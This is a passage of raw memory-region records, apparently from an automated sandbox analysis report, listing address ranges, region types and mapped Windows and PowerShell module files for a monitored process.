"\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 1857 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1859 start_va = 0x5f5f0000 end_va = 0x5f636fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 1865 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1867 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 1876 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1879 start_va = 0xb90000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 1885 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 1895 start_va = 0xbb0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 1897 start_va = 0x20b0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 1899 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 1902 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1905 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 1910 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 1913 start_va = 0x21c0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 1930 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 1942 start_va = 0x4360000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 1943 start_va = 0x4960000 end_va = 0x499ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004960000" filename = "" Region: id = 1944 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1953 start_va = 0x5f2d0000 end_va = 0x5f467fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 1980 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 1984 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 1986 start_va = 0x4300000 end_va = 0x430ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 1995 start_va = 0x4350000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 1997 start_va = 0x4350000 end_va = 0x435ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 1999 start_va = 0x4360000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 2002 start_va = 0x44a0000 end_va = 0x44dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 2003 start_va = 0x50a0000 end_va = 0x5a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 2004 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2005 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2011 start_va = 0x4ed0000 end_va = 0x4fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ed0000" filename = "" Region: id = 2017 start_va = 0x5a30000 end_va = 0x5b0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005a30000" filename = "" Region: id = 2021 start_va = 0x73cf0000 end_va = 0x73cfdfff monitored = 0 entry_point = 0x73cf1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2024 start_va = 0x4f10000 end_va = 0x4f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f10000" filename = "" Region: id = 2025 start_va = 0x4fa0000 end_va = 0x4fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 2026 start_va = 0x5b10000 end_va = 0x5b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b10000" filename = "" Region: id = 2027 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 2041 start_va = 0x5010000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 2042 start_va = 0x5b50000 end_va = 0x5b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b50000" filename = "" Region: id = 2043 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2044 start_va = 0x4590000 end_va = 0x45cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004590000" filename = "" Region: id = 2045 start_va = 0x4a60000 end_va = 0x4a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 2046 start_va = 0x7ef89000 end_va = 0x7ef8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Region: id = 2060 start_va = 0x4db0000 end_va = 0x4deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 2061 start_va = 0x5b70000 end_va = 0x5baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b70000" filename = "" Region: id = 2062 start_va = 0x7ef8c000 end_va = 0x7ef8efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 2069 start_va = 0x4360000 end_va = 0x4370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004360000" filename = "" Region: id = 2072 start_va = 0x4f50000 end_va = 0x4f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f50000" filename = "" Region: id = 2073 start_va = 0x5040000 end_va = 0x507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005040000" filename = "" Region: id = 2074 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2081 start_va = 0x4380000 end_va = 0x4381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2104 start_va = 0x65c40000 end_va = 0x65c47fff monitored = 0 entry_point = 0x65c43bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 2105 start_va = 0x5bb0000 end_va = 0x5faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005bb0000" filename = "" Region: id = 2106 start_va = 0x4390000 end_va = 0x4391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 2107 start_va = 0x5bb0000 end_va = 0x5faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005bb0000" filename = "" Region: id = 2108 start_va = 0x5000000 end_va = 0x503ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 2109 start_va = 0x5d00000 end_va = 0x5d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d00000" filename = "" Region: id = 2110 start_va = 0x61090000 end_va = 0x610a5fff monitored = 0 entry_point = 0x610913df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 2111 start_va = 0x7ef83000 end_va = 0x7ef85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 2112 start_va = 0x5f240000 end_va = 0x5f2c3fff monitored = 0 entry_point = 0x5f2419a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2113 start_va = 0x4930000 end_va = 0x495ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004930000" filename = "" Region: id = 2114 start_va = 0x65c50000 end_va = 0x65c59fff monitored = 0 entry_point = 0x65c54ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 2117 start_va = 0x5bb0000 end_va = 0x5caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005bb0000" filename = "" Region: id = 2287 start_va = 0x4380000 end_va = 0x438ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 2289 start_va = 0x5dc0000 end_va = 0x5dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dc0000" filename = "" Region: id = 2290 start_va = 0x5e00000 end_va = 0x5e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 2291 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2307 start_va = 0x4390000 end_va = 0x4390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2308 start_va = 0x5e40000 end_va = 0x623ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e40000" filename = "" Region: id = 2309 start_va = 0x4520000 end_va = 0x4520fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1") Region: id = 2310 start_va = 0x5e40000 end_va = 0x623ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005e40000" filename = "" Region: id = 2314 start_va = 0x5e6d0000 end_va = 0x5f23dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.utility.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P521220ea#\\f6f5592245815a51dae8c19cd5d04783\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p521220ea#\\f6f5592245815a51dae8c19cd5d04783\\microsoft.powershell.commands.utility.ni.dll") Region: id = 2318 start_va = 0x61060000 end_va = 0x61087fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.confe64a9051#\\1561b93d6d25c4a9c3e2659ab29a5e73\\system.configuration.install.ni.dll") Region: id = 2319 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2320 start_va = 0x5de0000 end_va = 0x5e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005de0000" filename = "" Region: id = 2321 start_va = 0x5e20000 end_va = 0x5f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e20000" filename = "" Region: id = 2322 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2339 start_va = 0x4390000 end_va = 0x4397fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2340 start_va = 0x5f20000 end_va = 0x631ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f20000" filename = "" Region: id = 2341 start_va = 0x4520000 end_va = 0x4527fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2342 start_va = 0x5f20000 end_va = 0x631ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f20000" filename = "" Region: id = 2345 start_va = 0x4390000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 2346 start_va = 0x4520000 end_va = 0x4527fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2347 start_va = 0x5f20000 end_va = 0x631ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f20000" filename = "" Region: id = 2348 start_va = 0x4570000 end_va = 0x4577fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2349 start_va = 0x5f20000 end_va = 0x631ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f20000" filename = "" Region: id = 2361 start_va = 0x4f60000 end_va = 0x4f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f60000" filename = "" Region: id = 2362 start_va = 0x5da0000 end_va = 0x5ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005da0000" filename = "" Region: id = 2363 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2368 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 2370 start_va = 0x7ef30000 end_va = 0x7ef7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef30000" filename = "" Region: id = 2371 start_va = 0x7ef20000 end_va = 0x7ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef20000" filename = "" Region: id = 2377 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 2381 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 2389 start_va = 0x5e5c0000 end_va = 0x5e6c4fff monitored = 1 entry_point = 0x5e5f9680 region_type = mapped_file name = "diasymreader.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll") Region: id = 2407 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2408 start_va = 0x5d60000 end_va = 0x5d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d60000" filename = "" Region: id = 2409 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2418 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 2420 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 2423 start_va = 0x4520000 end_va = 0x452ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004520000" filename = "" Region: id = 2424 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2425 start_va = 0x5f30000 end_va = 0x5f6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f30000" filename = "" Region: id = 2426 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2431 start_va = 0x4570000 end_va = 0x457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004570000" filename = "" Region: id = 2551 start_va = 0x5de0000 end_va = 0x5e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005de0000" filename = "" Region: id = 2552 start_va = 0x5f50000 end_va = 0x5f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f50000" filename = "" Region: id = 2553 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2560 start_va = 0x4570000 end_va = 0x457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004570000" filename = "" Region: id = 2578 start_va = 0x4570000 end_va = 0x457ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004570000" filename = "" Region: id = 2602 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 2603 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2606 start_va = 0x5db0000 end_va = 0x5deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005db0000" filename = "" Region: id = 2607 start_va = 0x5f40000 end_va = 0x5f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f40000" filename = "" Region: id = 2608 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 2613 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 2622 start_va = 0x850000 end_va = 0x850fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2623 start_va = 0x65c50000 end_va = 0x65c57fff monitored = 0 entry_point = 0x65c53bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 2624 start_va = 0x5f80000 end_va = 0x637ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f80000" filename = "" Region: id = 2625 start_va = 0x860000 end_va = 0x860fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 2626 start_va = 0x5f80000 end_va = 0x637ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005f80000" filename = "" Region: id = 2627 start_va = 0x4950000 end_va = 0x498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 2628 start_va = 0x5010000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005010000" filename = "" Region: id = 2629 start_va = 0x65c30000 end_va = 0x65c45fff monitored = 0 entry_point = 0x65c313df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 2630 start_va = 0x7ef86000 end_va = 0x7ef88fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 2638 start_va = 0x616a0000 end_va = 0x61723fff monitored = 0 entry_point = 0x616a19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2639 start_va = 0x5cb0000 end_va = 0x5d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cb0000" filename = "" Region: id = 2640 start_va = 0x65be0000 end_va = 0x65be9fff monitored = 0 entry_point = 0x65be4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 2646 start_va = 0x614c0000 end_va = 0x61696fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pae3498d9#\\ade0afceac1317e3668a9c8086d8d18b\\microsoft.powershell.commands.management.ni.dll") Region: id = 2648 start_va = 0x4ce0000 end_va = 0x4d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ce0000" filename = "" Region: id = 2649 start_va = 0x5dd0000 end_va = 0x5e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005dd0000" filename = "" Region: id = 2650 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 2651 start_va = 0x739d0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x739e0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 2657 start_va = 0x850000 end_va = 0x851fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 2658 start_va = 0x73ee0000 end_va = 0x7407dfff monitored = 0 entry_point = 0x73f0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 2659 start_va = 0x860000 end_va = 0x860fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2660 start_va = 0x870000 end_va = 0x871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2661 start_va = 0x860000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 2662 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2663 start_va = 0x4570000 end_va = 0x4570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004570000" filename = "" Region: id = 2672 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2673 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2674 start_va = 0x4580000 end_va = 0x4583fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2675 start_va = 0x48b0000 end_va = 0x48c6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: 